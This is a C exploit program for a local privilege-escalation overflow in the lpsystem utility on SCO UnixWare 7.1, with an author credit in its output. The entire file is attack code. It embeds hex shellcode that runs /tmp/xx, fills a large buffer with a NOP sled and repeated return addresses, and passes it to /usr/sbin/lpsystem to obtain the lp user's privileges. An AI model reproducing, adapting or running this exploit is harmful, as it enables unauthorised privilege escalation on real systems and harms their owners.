#include <stdlib.h>
#include <stdio.h>

char scoshell[]= //ShellCode Sco Unixware 7.1 /tmp/xx
 
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/xx\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 100000
#define NOP 0x90


unsigned long get_sp(void) {

  __asm__("movl %esp, %eax");
  
    }


int main(int argc, char *argv[]) {
  
  long int offset=0;
  
  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];
  
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0);
  }
  else if (argc == 2){
    offset=atoi(argv[1]);
    
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    buflen=atoi(argv[2]);
    
  }
  else {
    offset=100;
    buflen=100000;
    
  }
    
  addr=0x8056b10 + offset;
  
  fprintf(stderr, "\nUnixWare 7.1 LPsystem exploit yields uid of lp\n");
  fprintf(stderr, "Alex Hernandez al3xhernandez@ureach.com\n\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
  
  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr;
  
  execl("/usr/sbin/lpsystem", "lpsystem", buf, NULL);
  
  exit(0);
 
}